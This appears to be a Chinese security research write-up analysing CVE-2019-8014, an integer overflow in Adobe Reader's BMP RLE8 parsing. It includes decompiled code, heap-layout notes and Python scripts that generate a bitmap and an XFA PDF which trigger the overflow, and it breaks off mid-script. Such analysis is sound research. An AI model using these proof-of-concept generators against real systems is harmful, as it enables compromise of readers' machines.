深入分析Adobe忽略了6年的PDF漏洞

本文详细分析了 Adobe Acrobat Reader / Pro DC 中近期修复的安全漏洞 CVE-2019-8014 。有趣的是,Adobe 在六年前修复了一个类似的漏洞 CVE-2013-2729 ,正是由于对该漏洞的修复不够完善,才使得 CVE-2019-8014 遗留了长达六年之久。本文同时讨论了如何为此类漏洞编写利用代码。

本文作者:Ke Liu of Tencent Security Xuanwu Lab

0x01. 漏洞简介

Adobe 在八月份为 Adobe Acrobat and Reader 发布了安全公告 APSB19-41 ,和往常一样,这次更新修复了大量漏洞。当笔者在 ZDI 上查看对应的漏洞公告时,目光迅速被 ZDI-19-725 / CVE-2019-8014 所吸引,因为模块 AcroForm 中 Bitmap 解析相关的漏洞非常少见。该漏洞在 ZDI 上的部分公告信息如下:

Adobe Acrobat Pro DC AcroForm Bitmap File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability

The specific flaw exists within the parsing of run length encoding in BMP images. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process.

看描述这和六年之前修复的漏洞 CVE-2013-2729 非常相似——都和 XFA Bitmap Run Length Encoding 解析有关!实际上,两个漏洞之间确实有着千丝万缕的联系,本文将详细分析漏洞的原理以及两者之间的关系。

漏洞 CVE-2019-8014 在 ZDI 上的致谢信息为 ktkitty (https://ktkitty.github.io)

0x02. 环境搭建

根据官方公告 APSB19-41 的描述,该漏洞影响 2019.012.20035 以及更早版本的 Adobe Acrobat and Reader ,而不受影响的最新版本号为 2019.012.20036 。本文基于前者进行漏洞分析、基于后者进行补丁分析。

安装 Adobe Acrobat Reader DC 2019.012.20035 的步骤如下:

安装 Adobe Acrobat Reader DC 2019.012.20036 的步骤如下:

在调试环境中安装好软件后,记得禁用更新服务 Adobe Acrobat Update Service 或者直接断开网络连接,防止 Adobe Acrobat Reader DC 自动更新。

0x03. 位图简介

在进行漏洞分析之前,先简单介绍一下位图的结构。如果你对位图已经非常熟悉,那么可以直接跳过本小节内容。

3.1 相关结构

通常来说,位图文件由以下四部分构成:

  1. Bitmap File Header
  2. Bitmap Info Header
  3. RGBQUAD Array
  4. Bitmap Data

3.1.1 Bitmap File Header

结构体 BITMAPFILEHEADER 的定义如下:

typedef struct tagBITMAPFILEHEADER {
  WORD  bfType;         // 文件标记 'BM'
  DWORD bfSize;         // 位图文件的大小
  WORD  bfReserved1;    // 保留字段 0
  WORD  bfReserved2;    // 保留字段 0
  DWORD bfOffBits;      // 位图数据在文件中的偏移值
} BITMAPFILEHEADER, *LPBITMAPFILEHEADER, *PBITMAPFILEHEADER;

3.1.2 Bitmap Info Header

结构体 BITMAPINFOHEADER 的定义如下:

typedef struct tagBITMAPINFOHEADER {
  DWORD biSize;             // 结构体的大小
  LONG  biWidth;            // 位图宽度
  LONG  biHeight;           // 位图高度
  WORD  biPlanes;           // 必须为 1
  WORD  biBitCount;         // 每个像素所占用的位数
  DWORD biCompression;      // 压缩算法
  DWORD biSizeImage;        // 数据大小
  LONG  biXPelsPerMeter;    // 水平分辨率
  LONG  biYPelsPerMeter;    // 垂直分辨率
  DWORD biClrUsed;          // 色彩索引数
  DWORD biClrImportant;     // 必须的色彩索引数
} BITMAPINFOHEADER, *PBITMAPINFOHEADER;

这里成员 biCompression 指明了位图所使用的压缩算法,部分压缩算法的定义如下:

#define BI_RGB  0  // 未使用压缩算法
#define BI_RLE8 1  // RLE8 压缩算法
#define BI_RLE4 2  // RLE4 压缩算法
// 其他压缩算法...

3.1.3 RGBQUAD Array

结构体 RGBQUAD 描述一个像素的色彩组成,其定义如下:

typedef struct tagRGBQUAD {
  BYTE rgbBlue;
  BYTE rgbGreen;
  BYTE rgbRed;
  BYTE rgbReserved;
} RGBQUAD;

RGBQUAD Array 代表了一张色彩表,位图数据在解析之后可以是一个索引,索引在数组中对应的值便是该像素的色彩表示。该数组的长度取决于结构体 BITMAPINFOHEADER 中的 biBitCountbiClrUsed 成员的值。

3.1.4 Bitmap Data

位图的位数据,该部分数据的表现形式取决于位图所使用的压缩算法。

有一点需要注意的是:位图数据是从左下角往右上角方向进行填充的,即位图数据中解析出来的第一个像素的色彩,应当填充到位图的左下角 [wikipedia],随后依次填充当前行的像素,当前行填充完毕之后,往上移动一个像素继续以行位单位进行填充,直到位图填充完毕。

3.2 RLE 编码

位图支持两种类型的 RLE(Run Length Encoding)压缩算法:RLE4RLE8

3.2.1 RLE8 编码

RLE8 压缩算法用于压缩 8 位位图(即每个像素占用 1 字节空间)。RLE8 压缩后的数据可以处于 编码模式(Encoded Mode)绝对模式(Absolute Mode) 中的任意一种(两种模式在同一个位图中可以同时出现)。

编码模式 包含两字节数据:

  • 如果第一个字节不为零,其含义为第二个字节需要重复的次数
  • 如果第一个字节为零,那么第二个字节的可能含义如下
    • 0x00 表示当前行已经结束
    • 0x01 表示位图解析完毕
    • 0x02 表示接下来的两个字节 (deltaX, deltaY) 为当前坐标 (x, y) 需要移动的距离

绝对模式 中,第一个字节为零,第二个字节位于区间 [0x03, 0xFF] 。第二个字节表示接下来特定数量的字节是未压缩的数据(数据量需要按 WORD 对齐)。

下面为 RLE8 压缩之后的数据:

[03 04] [05 06] [00 03 45 56 67] [02 78] [00 02 05 01]
[02 78] [00 00] [09 1E] [00 01]

下面为解压之后的数据:

04 04 04
06 06 06 06 06
45 56 67
78 78
move current position 5 right and 1 up
78 78
end of line
1E 1E 1E 1E 1E 1E 1E 1E 1E
end of RLE bitmap

3.2.2 RLE4 编码

RLE4 压缩算法用于压缩 4 位位图(即每个像素占用半字节空间)。RLE4 压缩后的数据可以处于 编码模式(Encoded Mode)绝对模式(Absolute Mode) 中的任意一种(两种模式在同一个位图中可以同时出现)。

编码模式 包含两字节数据:

  • 如果第一个字节不为零,其含义为第二个字节展开后得到的像素个数
    • 第二个字节代表了两个像素的色彩索引
    • 高 4 位代表第一个像素的色彩索引
    • 低 4 位代表第二个像素的色彩索引
    • 二者依次交替重复,直到得到第一个字节指定的像素个数
  • 如果第一个字节为零,那么第二个字节的可能含义如下
    • 0x00 表示当前行已经结束
    • 0x01 表示位图解析完毕
    • 0x02 表示接下来的两个字节 (deltaX, deltaY) 为当前坐标 (x, y) 需要移动的距离

绝对模式 中,第一个字节为零,第二个字节位于区间 [0x03, 0xFF] 。第二个字节表示接下来特定数量的 半字节 是未压缩的数据(数据量需要按 WORD 对齐)。

下面为 RLE4 压缩之后的数据:

[03 04] [05 06] [00 06 45 56 67 00] [04 78] [00 02 05 01]
[04 78] [00 00] [09 1E] [00 01]

下面为解压之后的数据:

0 4 0
0 6 0 6 0
4 5 5 6 6 7
7 8 7 8
move current position 5 right and 1 up
7 8 7 8
end of line
1 E 1 E 1 E 1 E 1
end of RLE bitmap

0x04. 漏洞分析

4.1 代码定位

根据 ZDI 网站上的公告信息,可知漏洞位于 AcroForm 模块。该模块是 Adobe Acrobat Reader DC 中负责处理 XFA 表单 的插件,其路径如下:

%PROGRAMFILES(X86)%\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api

通常来说,借助 BinDiff 进行补丁对比分析可以快速定位到有漏洞的函数,但如果新旧版本的二进制文件变动比较大的话就不太好处理了,模块 AcroForm.api 的情况便是如此:通过对比发现有大量函数进行了改动,一个一个去看显然不太现实。

笔者用于定位漏洞函数的方法如下(以 2019.012.20035 为例):

  1. IDA 中搜索字符串 PNG ,在 .rdata:20F9A374 找到一处定义
  2. 20F9A374 进行交叉引用查找,定位到函数 sub_20CF3A3F
  3. 很显然函数 sub_20CF3A3F 负责判断图片的类型(从这里也可以看出 XFA 表单所支持的图片格式类型)
  4. sub_20CF3A3F 进行交叉引用查找,定位到函数 sub_20CF4BE8
  5. 函数 sub_20CF4BE8 根据图片的类型调用不同的处理函数
  6. 函数 sub_20CF4870(跳转自 sub_20CF3E5F)负责处理 BMP 位图

在 BinDiff 的结果中可以看到,函数 sub_20CF3E5F 中确实有几个基本块发生了变动,比如 20CF440F 处的基本块的变动情况如下:

// 20CF440F in AcroForm 2019.012.20035
if ( v131 >= v26 || (unsigned __int8)v127 + v43 > v123 )
  goto LABEL_170;

// 20CF501F in AcroForm 2019.012.20036
v56 = (unsigned __int8)v130 + v43;
if ( v134 >= v26 || v56 > v126 || v56 < v43 || v56 < (unsigned __int8)v130 )
  goto LABEL_176;

很明显,这里增加了对整数溢出的判断。

4.2 漏洞分析

好在网上已经有了针对 CVE-2013-2729 的详细分析报告(参考 feliam’s write up for CVE-2013-2729),基于此可以快速理解函数 sub_20CF3E5F 中相关代码的含义。

4.2.1 RLE8 解析

函数 sub_20CF3E5F 中负责解析 RLE8 压缩数据的部分代码如下:

if ( bmih.biCompression == 1 )  // RLE8 算法
{
  xpos = 0;                     // unsigned int, 从左往右
  ypos = bmih.biHeight - 1;     // unsigned int, 从下往上
  bitmap_ends = 0;
  result = fn_feof(v1[2]);
  if ( !result )
  {
    do
    {
      if ( bitmap_ends )
        return result;
      fn_read_bytes(v1[2], &cmd, 2u);           // 读取 2 字节数据
      if ( (_BYTE)cmd )                         // 第一个字节不为零
      {                                         // 表示有压缩数据等待处理
        // 20CF440F 变动的基本块之一
        if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
          goto LABEL_170;                       // CxxThrowException
        index = 0;
        if ( (_BYTE)cmd )
        {
          do
          {
            line = (_BYTE *)fn_get_scanline(v1[3], ypos);
            line[xpos++] = BYTE1(cmd);
            ++index;
          }
          while ( index < (unsigned __int8)cmd ); // 展开数据
        }
      }
      else if ( BYTE1(cmd) )        // 第一字节为零且第二字节不为零
      {
        if ( BYTE1(cmd) == 1 )      // 位图结束
        {
          bitmap_ends = 1;
        }
        else if ( BYTE1(cmd) == 2 ) // delta 数据
        {
          fn_read_bytes(v1[2], &xdelta, 1u);
          fn_read_bytes(v1[2], &ydelta, 1u);
          xpos += xdelta;           // 向右移动
          ypos -= ydelta;           // 向上移动
        }
        else                        // 未压缩数据
        {
          dst_xpos = BYTE1(cmd) + xpos;
          if ( ypos >= height || dst_xpos < xpos || 
               dst_xpos < BYTE1(cmd) || dst_xpos > width )  // 整数溢出检查
            goto LABEL_170;         // CxxThrowException
          index = 0;
          if ( BYTE1(cmd) )
          {
            do
            {
              fn_read_bytes(v1[2], &value, 1u);
              line = (_BYTE *)fn_get_scanline(v1[3], ypos);
              line[xpos++] = value;
              count = BYTE1(cmd);
              ++index;
            }
            while ( index < BYTE1(cmd) );   // 读取未压缩数据
          }
          if ( count & 1 )                  // 数据对齐
            fn_read_bytes(v1[2], &value, 1u);
        }
      }
      else                                  // 当前行结束
      {
        --ypos;                             // 从下往上移动一行
        xpos = 0;                           // 移动到行的起点
      }
      result = fn_feof(v1[2]);
    }
    while ( !result );
  }
}

基于前面的补丁分析,很明显下面的 if 语句中存在整数溢出:

// 20CF440F 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                       // CxxThrowException

// 20CF501F AcroForm 2019.012.20036 中修复的基本块
dst_xpos = (unsigned __int8)cmd + xpos;
if ( ypos >= height || dst_xpos > width || 
     dst_xpos < xpos || dst_xpos < (unsigned __int8)cmd )
  goto LABEL_176;

这里在计算 (unsigned __int8)cmd + xpos 时可能导致整数溢出,且其中两个变量的值都可以被控制。在解析特定的 RLE8 数据时,如果触发这里的整数溢出,后续便可以实现堆块越界写。

  • 变量 (unsigned __int8)cmd 的值是可以直接控制的,其取值范围为 [1, 255]
fn_read_bytes(v1[2], &cmd, 2u);           // 读取 2 字节数据
  • 变量 xpos 的值也是可以直接控制的,只需要在 编码模式 中布局大量 delta 命令即可使得 xpos 的值接近 0xFFFFFFFF
else if ( BYTE1(cmd) == 2 ) // delta
{
  fn_read_bytes(v1[2], &xdelta, 1u);
  fn_read_bytes(v1[2], &ydelta, 1u);
  xpos += xdelta;           // 向右移动, xdelta 取值范围为 [0, 255]
  ypos -= ydelta;           // 向上移动
}
  • 因为 xpos 非常大(有符号表示为负数),因此在处理 RLE8 压缩数据时可以实现堆块越界写(往低地址方向越界写),并且写的数据也是完全可控的,只不过所有数据都必须是同样的值
index = 0;
do
{
  line = (_BYTE *)fn_get_scanline(v1[3], ypos);
  line[xpos++] = BYTE1(cmd);            // 可控数据实现堆块越界写
  ++index;
}
while ( index < (unsigned __int8)cmd ); // 解压数据

4.2.2 RLE4 解析

函数 sub_20CF3E5F 中负责解析 RLE4 压缩数据的部分代码如下(实现 RLE4 解压的代码比 RLE8 解压的代码稍微复杂一点,因为数据单位不再是一个字节,而是半个字节):

if ( bmih.biCompression == 2 )  // RLE4 算法
{
  xpos = 0;                     // unsigned int, 从左往右
  ypos = bmih.biHeight - 1;     // unsigned int, 从下往上
  bitmap_ends = 0;
  odd_index_ = 0;
  if ( !fn_feof(v1[2]) )
  {
    do
    {
      if ( bitmap_ends )
        return result;
      fn_read_bytes(v1[2], &cmd, 2u);       // 读取 2 字节数据
      if ( (_BYTE)cmd )                     // 第一个字节不为零
      {                                     // 表示有压缩数据等待处理
        high_4bits = BYTE1(cmd) >> 4;       // 高 4 位数据
        low_4bits = BYTE1(cmd) & 0xF;       // 低 4 位数据
        // 20CF45F8 变动的基本块之一
        if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
          goto LABEL_170;                   // CxxThrowException
        index = 0;
        if ( (_BYTE)cmd )
        {
          xpos_ = odd_index_;
          do
          {
            byte_slot = xpos_ >> 1;
            odd_index = index & 1;
            line = fn_get_scanline(v1[3], ypos);
            _4bits = high_4bits;            // 偶数索引 -> 高 4 位数据
            if ( odd_index )                // 奇数索引 -> 低 4 位数据
              _4bits = low_4bits;
            if ( xpos_ & 1 )                // xpos 为奇数, 存入已有字节
            {
              line[byte_slot] |= _4bits;
            }
            else                            // xpos 为偶数, 存入新的字节
            {
              line[byte_slot] = 16 * _4bits;
            }
            ++xpos_;
            index = index + 1;
          }
          while ( index < (unsigned __int8)cmd );
          odd_index_ = xpos_;
          xpos = odd_index_;
        }
      }
      else if ( BYTE1(cmd) )                // 第一字节为零且第二字节不为零
      {
        if ( BYTE1(cmd) == 1 )              // 位图结束
        {
          bitmap_ends = 1;
        }
        else if ( BYTE1(cmd) == 2 )         // delta 数据
        {
          fn_read_bytes((_DWORD *)v1[2], &xdelta, 1u);
          fn_read_bytes((_DWORD *)v1[2], &ydelta, 1u);
          xpos += xdelta;                   // 向右移动
          ypos -= ydelta;                   // 向上移动
          odd_index_ = xpos;
        }
        else
        {
          // 20CF44EA 变动的基本块之一
          if ( ypos >= height || BYTE1(cmd) + xpos > width )
            goto LABEL_170;                 // CxxThrowException
          index = 0;
          odd_index = 0;
          if ( BYTE1(cmd) )                 // 未压缩数据
          {
            xpos_ = odd_index_;
            do
            {
              odd_index_ = index & 1;
              if ( !(index & 1) )           // 读取 1 字节数据
              {
                fn_read_bytes((_DWORD *)v1[2], &value, 1u);
                low_4bits_ = value & 0xF;   // 低 4 位数据
                high_4bits_ = value >> 4;   // 高 4 位数据
              }
              byte_slot = xpos_ >> 1;
              line = fn_get_scanline(v1[3], ypos);
              _4bits = high_4bits_;
              if ( odd_index_ )
                _4bits = low_4bits_;
              if ( xpos_ & 1 )
              {
                line[byte_slot] |= _4bits;
              }
              else
              {
                line[byte_slot] = 16 * _4bits;
              }
              ++xpos_;
              count = BYTE1(cmd);
              not_ended = odd_index++ + 1 < BYTE1(cmd);
              index = odd_index;
            }
            while ( not_ended );
            odd_index_ = xpos_;
            xpos = odd_index_;
          }
          if ( (count & 3u) - 1 <= 1 )      // 数据对齐
            fn_read_bytes(v1[2], &value, 1u);
        }
      }
      else                                  // 当前行结束
      {
        --ypos;                             // 从下往上移动一行
        xpos = 0;                           // 移动到行的起点
        odd_index_ = 0;
      }
      result = fn_feof((_DWORD *)v1[2]);
    }
    while ( !result );
  }
}

这里在两个位置可以触发整数溢出,其中一处位于处理压缩数据的过程中:

high_4bits = BYTE1(cmd) >> 4;       // 高 4 位数据
low_4bits = BYTE1(cmd) & 0xF;       // 低 4 位数据
// 20CF45F8 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                   // CxxThrowException

另一处位于处理未压缩数据的过程中:

// 20CF44EA 变动的基本块之一
if ( ypos >= height || BYTE1(cmd) + xpos > width )
  goto LABEL_170;                 // CxxThrowException

0x05. 漏洞利用

5.1 溢出目标

前面提到在解析 RLE 数据时发现了 3 个溢出点,这里选择其中相对容易写利用的溢出点来触发漏洞:位于 RLE8 数据解析过程中的一处整数溢出。

RLE4 数据解析过程中存在的两处溢出点很难实现稳定利用,因为在向扫描线填充像素数据时,偏移值为 xpos 的值除以 2 ,此时偏移值最大可以是 0xFFFFFFFF / 2 = 0x7FFFFFFF ,也就意味着仅能向高地址方向实现堆块越界写,而且这个地址上具体是什么数据很难控制。

而 RLE8 数据解析过程中存在的溢出点就相对好控制一些,因为在向扫描线填充像素数据时,偏移值就是 xpos 本身,这样就可以向低地址方向实现堆块越界写,而且越界写的范围在一定程度上也是可控的。在下面的代码中,(unsigned __int8)cmd 的最大值可以是 0xFF ,为了绕过 if 语句中的条件检查,xpos 的最小值是 0xFFFFFF01 (在有符号类型下表示为 -255)。这也就意味着最大可以向低地址方向越界写 0xFF 字节的数据。

// 20CF440F 变动的基本块之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                       // CxxThrowException

但需要注意的是,用于越界写的数据必须是一样的,即只能是同一个字节。这会给漏洞利用带来一些额外的问题,后续会对此进行详细讨论。

index = 0;
do
{
  line = (_BYTE *)fn_get_scanline(v1[3], ypos);
  line[xpos++] = BYTE1(cmd);
  ++index;
}
while ( index < (unsigned __int8)cmd );

5.2 SpiderMonkey 基础知识

Adobe Acrobat Reader DC 所使用的 JavaScript 引擎为 SpiderMonkey ,在编写利用代码之前,先简单介绍一下相关的基础知识。

5.2.1 ArrayBuffer

ArrayBuffer 而言,当 byteLength 的大小超过 0x68 时,其底层数据存储区(backing store)所在的堆块将通过系统堆申请(ucrtbase!calloc);当 byteLength 的大小小于等于 0x68 时,堆块从 SpiderMonkey 的私有堆 tenured heap 申请。同时,当 backing store 独立申请堆块时,需要额外申请 0x10 字节的空间用于存储 ObjectElements 对象。

class ObjectElements {
 public:
  uint32_t flags;               // 可以是任意值,通常为 0
  uint32_t initializedLength;   // byteLength
  uint32_t capacity;            // view 对象指针
  uint32_t length;              // 可以是任意值,通常为 0
 // ......
};

ArrayBuffer 而言,这里 ObjectElements 的各个成员的名字是没有意义的(因为本来是为 Array 准备的),这里第二个成员 initializedLength 存储 byteLength 的值,第三个成员 capacity 存储关联的 DataView 对象的指针,其他成员可以是任意值。

在 Adobe Acrobat Reader DC 中执行下面的 JavaScript 代码:

var ab = new ArrayBuffer(0x70);
var dv = new DataView(ab);
dv.setUint32(0, 0x41424344, true);

ArrayBuffer 对象的 backing store 的内存布局如下:

;            -, byteLength, viewobj,       -,
34d54f80  00000000 00000070 2458f608 00000000
;         data
34d54f90  41424344 00000000 00000000 00000000
34d54fa0  00000000 00000000 00000000 00000000
34d54fb0  00000000 00000000 00000000 00000000
34d54fc0  00000000 00000000 00000000 00000000
34d54fd0  00000000 00000000 00000000 00000000
34d54fe0  00000000 00000000 00000000 00000000
34d54ff0  00000000 00000000 00000000 00000000

在漏洞利用过程中,如果可以更改 ArrayBuffer 对象的 byteLength 为一个更大的值,那么就可以基于 ArrayBuffer 对象实现越界读写了。不过需要注意后面的 4 字节数据要么为零,要么指向一个 合法DataView 对象,否则进程会立刻崩溃。

5.2.2 Array

Array 而言,当 length 的大小超过 14 时,其底层元素存储区所在的堆块将通过系统堆申请(ucrtbase!calloc);当 length 的大小小于等于 14 时,堆块从 SpiderMonkey 的私有堆 nursery heap 申请。和 ArrayBuffer 一样,当底层元素存储区独立申请堆块时,需要额外申请 0x10 字节的空间用于存储 ObjectElements 对象。

class ObjectElements {
 public:
  // The NumShiftedElementsBits high bits of this are used to store the
  // number of shifted elements, the other bits are available for the flags.
  // See Flags enum above.
  uint32_t flags;

  /*
   * Number of initialized elements. This is <= the capacity, and for arrays
   * is <= the length. Memory for elements above the initialized length is
   * uninitialized, but values between the initialized length and the proper
   * length are conceptually holes.
   */
  uint32_t initializedLength;

  /* Number of allocated slots. */
  uint32_t capacity;

  /* 'length' property of array objects, unused for other objects. */
  uint32_t length;
 // ......
};

在 Adobe Acrobat Reader DC 中执行下面的 JavaScript 代码:

var array = new Array(15);
array[0] = array[array.length - 1] = 0x41424344;

Array 对象元素存储区的内存布局如下:

0:010> dd 34cb0f88-10 L90/4
34cb0f78  00000000 0000000f 0000000f 0000000f
34cb0f88  41424344 ffffff81 00000000 ffffff84 ; [0], [1]
34cb0f98  00000000 ffffff84 00000000 ffffff84
34cb0fa8  00000000 ffffff84 00000000 ffffff84
34cb0fb8  00000000 ffffff84 00000000 ffffff84
34cb0fc8  00000000 ffffff84 00000000 ffffff84
34cb0fd8  00000000 ffffff84 00000000 ffffff84
34cb0fe8  00000000 ffffff84 00000000 ffffff84
34cb0ff8  41424344 ffffff81 ???????? ???????? ; [14]

这里 array[0]array[14] 的值都是 41424344 ffffff81 ,其中标签 0xFFFFFF81 表示元素的类型为 INT32 。而 array[1]array[13] 之间的所有元素都被填充为 00000000 ffffff84 ,表示这些元素当前是未定义的(即 undefined )。

Array 而言,如果可以通过触发漏洞更改 capacitylength 的值,那么就可以实现越界写操作:仅仅是越界写,因为 initializedLength 不变的话越界读取的元素全部为 undefined ,同时一旦进行越界写操作,initializedLength 之后到越界写之前的所有元素都会被填充为 00000000 ffffff84 ,控制不好的话很容导致进程崩溃。

那么如果同时更改 initializedLength 呢?理论上问题不大,不过对于本文所讨论的漏洞而言不适用,因为 initializedLength 的值会被改成非常大的值(四字节全部为相同的数据),而在 GC 过程中数组的所有元素都会被扫描,进程会因为访问到不可访问的内存页而崩溃。

5.2.3 JSObject

在 SpiderMonkey 中,所有 JavaScript 对象的类都继承自 JSObject ,后者又继承自 ObjectImpl ,相关定义如下:

class ObjectImpl : public gc::Cell {
  protected:
    HeapPtrShape shape_;
    HeapPtrTypeObject type_;
    HeapSlot *slots;
    HeapSlot *elements;
  // ......
};

struct JSObject : public js::ObjectImpl {}

对某些对象(比如 DataView )而言, elements 的值是没有意义的,因此会指向一个静态全局变量 emptyElementsHeader ,读取这些对象的 elements 的值可以用于泄露 JavaScript 引擎模块的基地址。

static ObjectElements emptyElementsHeader(0, 0);

/* Objects with no elements share one empty set of elements. */
HeapSlot *js::emptyObjectElements =
    reinterpret_cast<HeapSlot *>(uintptr_t(&emptyElementsHeader) + 
    sizeof(ObjectElements));

5.3 位图构造

如下 Python 代码可以用于创建 RLE 类型的位图文件(可以指定各种参数以及位图数据):

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os
import sys
import struct

RLE8 = 1
RLE4 = 2
COMPRESSION = RLE8
BIT_COUNT = 8
CLR_USED = 1 << BIT_COUNT
WIDTH = 0xF0
HEIGHT = 1

def get_bitmap_file_header(file_size, bits_offset):
    return struct.pack('<2sIHHI', 'BM', file_size, 0, 0, bits_offset)

def get_bitmap_info_header(data_size):
    return struct.pack('<IIIHHIIIIII',
        0x00000028,
        WIDTH,
        HEIGHT,
        0x0001,
        BIT_COUNT,
        COMPRESSION,
        data_size,
        0x00000000,
        0x00000000,
        CLR_USED,
        0x00000000)

def get_bitmap_info_colors():
    # B, G, R, Reserved
    rgb_quad = '\x00\x00\xFF\x00'
    return rgb_quad * CLR_USED

def get_bitmap_data():
    # set ypos to 0 so that we'll be at the beginning of the heap buffer
    # ypos = (HEIGHT - 1) = 0, no need to bother

    # set xpos to 0xFFFFFF00
    data = '\x00\x02\xFF\x00' * (0xFFFFFF00 / 0xFF)
    # set xpos to 0xFFFFFF0C
    data += '\x00\x02\x0C\x00'

    # 0xFFFFFF0C + 0xF4 = 0
    # 0xF4 bytes of 0x10
    data += '\xF4\x10'

    # mark end of bitmap to skip CxxThrowException
    data += '\x00\x01'

    return data

def generate_bitmap(filepath):
    data = get_bitmap_data()
    data_size = len(data)

    bmi_header = get_bitmap_info_header(data_size)
    bmi_colors = get_bitmap_info_colors()

    bmf_header_size = 0x0E
    bits_offset = bmf_header_size + len(bmi_header) + len(bmi_colors)
    file_size = bits_offset + data_size
    bmf_header = get_bitmap_file_header(file_size, bits_offset)
    with open(filepath, 'wb') as f:
        f.write(bmf_header)
        f.write(bmi_header)
        f.write(bmi_colors)
        f.write(data)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0])
        sys.exit(1)
    generate_bitmap(sys.argv[1])

这里直接创建一个 RLE8 位图文件,相关参数如下:

  • 宽度为 0xF0
  • 高度为 1
  • 位数为 8

对该位图而言,用于存储位图数据的堆块的大小将会是 0xF0 ,而函数 get_bitmap_data 中指定的位图数据将使得我们可以向低地址方向越界写 0xF4 字节的数据,其中数据全部为 0x10

5.4 PDF 构造

下面是一个 PDF 模板文件的内容,该模板后续将用于生成 POC 文件。

%PDF-1.7
1 0 obj
<<
    /Type /Catalog
    /AcroForm 5 0 R
    /Pages 2 0 R
    /NeedsRendering true
    /Extensions
    <<
        /ADBE
        <<
            /ExtensionLevel 3
            /BaseVersion /1.7
        >>
    >>
>>
endobj
2 0 obj
<<
    /Type /Pages
    /Kids [3 0 R]
    /Count 1
>>
endobj
3 0 obj
<<
    /Type /Page
    /Parent 2 0 R
    /Contents 4 0 R
    /Resources
    <<
        /Font
        <<
            /F1
            <<
                /BaseFont /Helvetica
                /Subtype /Type1
                /Name /F1
            >>
        >>
    >>
>>
endobj
4 0 obj
<<
    /Length 104
>>
stream
BT
/F1 12 Tf
90 692 Td
(If you see this page, it means that your PDF reader does not support XFA.) Tj
ET
endstream
endobj
5 0 obj
<<
    /XFA 6 0 R
>>
endobj
6 0 obj
<<
    /Filter /FlateDecode
    /Length __STREAM_LENGTH__
>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
    <subform name="form1" layout="tb" locale="en_US" restoreState="auto">
      <pageSet>
        <pageArea name="Page1" id="Page1">
          <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
          <medium stock="default" short="612pt" long="792pt"/>
        </pageArea>
      </pageSet>
      <subform w="576pt" h="756pt">
        <field name="ImageCrash">
          <ui>
            <imageEdit/>
          </ui>
          <value>
            <image aspect="actual" contentType="image/bmp">
__IMAGE_BASE64_DATA__
            </image>
          </value>
        </field>
      </subform>
      <event activity="initialize" name="event__initialize">
        <script contentType="application/x-javascript">
// The JavaScript code will be executed before triggering the vulnerability
        </script>
      </event>
      <event activity="docReady" ref="$host" name="event__docReady">
        <script contentType="application/x-javascript">
// The JavaScript code will be executed after triggering the vulnerability
        </script>
      </event>
    </subform>
  </template>
  <config xmlns="http://www.xfa.org/schema/xci/3.0/">
    <agent name="designer">
      <!--  [0..n]  -->
      <destination>pdf</destination>
      <pdf>
        <!--  [0..n]  -->
        <fontInfo/>
      </pdf>
    </agent>
    <present>
      <!--  [0..n]  -->
      <pdf>
        <!--  [0..n]  -->
        <version>1.7</version>
        <adobeExtensionLevel>5</adobeExtensionLevel>
      </pdf>
      <common/>
      <xdp>
        <packets>*</packets>
      </xdp>
    </present>
  </config>
  <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
    <xfa:data xfa:dataNode="dataGroup"/>
  </xfa:datasets>
  <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
    <annots/>
  </xfdf>
</xdp:xdp>
endstream
endobj
xref
0 7
0000000000 65535 f 
0000000009 00000 n 
0000000237 00000 n 
0000000306 00000 n 
0000000587 00000 n 
0000000746 00000 n 
0000000782 00000 n 
trailer
<<
    /Root 1 0 R
    /Size 7
>>
startxref
__XREF_OFFSET__
%%EOF

为了触发整数溢出,前面构造的位图文件的大小将超过 60MB ,而且在嵌入 XFA 表单时,需要对其进行 Base64 编码,这会使得生成的 PDF 文件相当大。为了压缩 PDF 文件的大小,可以给对象 6 0 obj 指定一个 Filter (这里为 FlateDecode )以便压缩对象的数据,因为数据比较规律,所以压缩率还是相当可观的。

为了实现漏洞利用,需要在触发漏洞前完成内存布局、在触发漏洞后完成后续利用步骤,而这些操作都需要借助执行 JavaScript 代码来完成,因此需要在不同的时间点执行不同的 JavaScript 代码,这可以通过给 subforminitialize 事件和 docReady 事件设置事件处理代码来完成。

下面的 Python 代码可以用于生成 PDF 文件:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os
import sys
import zlib
import base64

def parse_template(template_path):
    with open(template_path, 'rb') as f:
        data = f.read()
    xdp_begin = data.find('<xdp:xdp')
    xdp_end = data.find('</xdp:xdp>') + len('</xdp:xdp>')

    part1 = data[:xdp_begin]
    part2 = data[xdp_begin:xdp_end]
    part3 = data[xdp_end:]
    return part1, part2, part3

def generate_pdf(image_path, template_path, pdf_path):
    pdf_part1, pdf_part2, pdf_part3 = parse_template(template_path)

    with open(image_path, 'rb') as f:
        image_data = base64.b64encode(f.read())
    pdf_part2 = pdf_part2.replace('__IMAGE_BASE64_DATA__', image_data)
    pdf_part2 = zlib.compress(pdf_part2)

    pdf_part1 = pdf_part1.replace('__STREAM_LENGTH__', '%d' % len(pdf_part2))

    pdf_data = pdf_part1 + pdf_part2 + pdf_part3
    pdf_data = pdf_data.replace('__XREF_OFFSET__', '%d' % pdf_data.find('xref'))

    with open(pdf_path, 'wb') as f:
        f.write(pdf_data)

if __name__ == '__main__':
    if len(sys.argv) != 4:
        filename = os.path.basename(sys.argv[0])
